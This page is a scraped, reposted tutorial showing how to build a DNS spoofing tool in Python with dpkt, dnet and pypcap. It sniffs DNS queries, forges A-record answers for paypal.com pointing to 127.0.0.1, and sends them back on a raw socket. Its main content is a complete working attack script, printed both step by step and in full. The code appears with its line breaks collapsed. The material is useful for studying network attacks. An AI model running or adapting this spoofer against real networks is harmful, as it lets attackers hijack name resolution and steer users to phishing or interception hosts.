dpkt Tutorial #3: DNS Spoofing

來源:互聯網
上載者:User
dpkt Tutorial #3: DNS Spoofing

In our first and second dpkt tutorials, we looked at the simple construction and parsing of packets respectively.  Our third tutorial combines both parsing and construction of packets in a single utility for performing DNS spoofing (a la dsniff’s dnsspoof).

In this tutorial, we’ll use dpkt to parse DNS requests observed on the wire and construct spoofed DNS responses to send back.  We’ll also be using the dnet and pypcap libraries in this example.  Since you’ve certainly read the first two tutorials before this one, we will assume you are familiar with the basic methods of parsing and constructing packets using dpkt.

One of the most common usages of dpkt is to parse packets off the wire, which pypcap makes easy.  We’ll start off by setting pypcap’s BPF expression to “udp dst port 53″ since we only want to look at DNS queries and parse each of the packets handed to us using dpkt:

pc = pcap.pcap()pc.setfilter('udp dst port 53')for ts, pkt in pc:    eth = dpkt.ethernet.Ethernet(pkt)    ip = eth.data    udp = ip.data    dns = dpkt.dns.DNS(udp.data)

Next, we need to perform some validation on the parsed DNS payload since we only want to spoof responses to legitimate DNS queries.  In this next snippet, we ensure that the DNS payload is indeed a query, has a single RR in the question section, has no answer or nameserver RRs, and that the RR in the question section is for an A record and the IN class:

if dns.qr != dpkt.dns.DNS_Q:    continueif dns.opcode != dpkt.dns.DNS_QUERY:    continueif len(dns.qd) != 1:    continueif len(dns.an) != 0:    continueif len(dns.ns) != 0:    continueif dns.qd[0].cls != dpkt.dns.DNS_IN:    continueif dns.qd[0].type != dpkt.dns.DNS_A:    continue

As seen from the above snippet, the dpkt DNS module parses the various sections of the DNS payload (qd, an, ns, ar) into python lists.  This will come in handy later when constructing our response.  In addition to validating the DNS payload, we only want to spoof responses for particular domains.  In this case, we’ll only spoof responses for paypal.com:

if dns.qd[0].name != 'paypal.com':    continue

Now that we’ve parsed and decoded the DNS query, we need to construct our spoofed response and send it back to the client.  Instead of constructing a new packet from scratch, we can simply reuse the existing one and modify it appropriately.  We start by setting the attributes of the DNS header indicating that it is a response:

dns.op = dpkt.dns.DNS_RAdns.rcode = dpkt.dns.DNS_RCODE_NOERRdns.qr = dpkt.dns.DNS_R

Next, we need to create our fake RR that will be included in the answer section of the DNS response.  We do this by creating an object of the type dpkt.dns.DNS.RR and filling in its attributes:

arr = dpkt.dns.DNS.RR()arr.cls = dpkt.dns.DNS_INarr.type = dpkt.dns.DNS_Aarr.name = 'paypal.com'arr.ip = dnet.addr('127.0.0.1').ip

For the purposes of this tutorial, our spoofed answer RR will claim that paypal.com is at 127.0.0.1.  We now need to add this newly created RR to the answer section of the DNS payload.  Since dns.an is a python list, we can simply append the arr object to it:

dns.an.append(arr)

If we print out the dns object, we can see the correct RRs in the question and answer sections:

>>> print dnsDNS(an=[RR(name='paypal.com')], qd=[Q(name='paypal.com')], id=21825, op=32896)

Now that our DNS payload is complete, we must fix up the UDP and IP layers of our original packet.  Since we’re reusing the existing packet and want to send the reply back to the client while acting like we’re the server, we can just swap the src/dst ports and addresses:

udp.sport, udp.dport = udp.dport, udp.sportip.src, ip.dst = ip.dst, ip.src

Next, we need to tack on our new DNS payload.  We do this by assigning the dns object to the udp object’s data attribute.  And since we’ve modified the length of the DNS payload, we need to update the length attributes of the UDP and IP layers appropriately:

udp.data = dnsudp.ulen = len(udp)ip.len = len(ip)

We can take a look at our full payload containing the IP, UDP, and DNS payloads:

>>> print ipIP(src='\x8d\xd5\x04\x04', off=16384, dst='\x8d\xd4n\xa3', sum=3577, len=72,p=17, id=40555, data=UDP(dport=49008, sum=36486, sport=53, ulen=52,data=DNS(an=[RR(name='paypal.com')], qd=[Q(name='paypal.com')], id=21825, op=32896)))

Finally, we can checksum and send out the payload buffer through our raw socket:

buf = dnet.ip_checksum(str(ip))sock.send(buf)

That concludes this dpkt tutorial!  When we run the DNS spoofing script and attempt to contact paypal.com, we see that it successfully spoofs the reply:

jonojono@jonojono ~ $ ping paypal.comPING paypal.com (127.0.0.1) 56(84) bytes of data.64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.022 ms...

The full python script for this tutorial follows:

#!/usr/bin/env pythonimport dnet, dpkt, pcapsock = dnet.ip()pc = pcap.pcap()pc.setfilter('udp dst port 53')for ts, pkt in pc:    # parse the packet    eth = dpkt.ethernet.Ethernet(pkt)    ip = eth.data    udp = ip.data    dns = dpkt.dns.DNS(udp.data)    # validate the DNS query    if dns.qr != dpkt.dns.DNS_Q:        continue    if dns.opcode != dpkt.dns.DNS_QUERY:        continue    if len(dns.qd) != 1:        continue    if len(dns.an) != 0:        continue    if len(dns.ns) != 0:        continue    if dns.qd[0].cls != dpkt.dns.DNS_IN:        continue    if dns.qd[0].type != dpkt.dns.DNS_A:        continue    # only spoof for our target name    if dns.qd[0].name != 'paypal.com':        continue    # transform DNS query into response    dns.op = dpkt.dns.DNS_RA    dns.rcode = dpkt.dns.DNS_RCODE_NOERR    dns.qr = dpkt.dns.DNS_R    # construct our fake answer RR    arr = dpkt.dns.DNS.RR()    arr.cls = dpkt.dns.DNS_IN    arr.type = dpkt.dns.DNS_A    arr.name = 'paypal.com'    arr.ip = dnet.addr('127.0.0.1').ip    dns.an.append(arr)    # fix up IP and UDP layers    udp.sport, udp.dport = udp.dport, udp.sport    ip.src, ip.dst = ip.dst, ip.src    udp.data = dns    udp.ulen = len(udp)    ip.len = len(ip)    print `ip`    # send out spoofed response    buf = dnet.ip_checksum(str(ip))    sock.send(buf)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.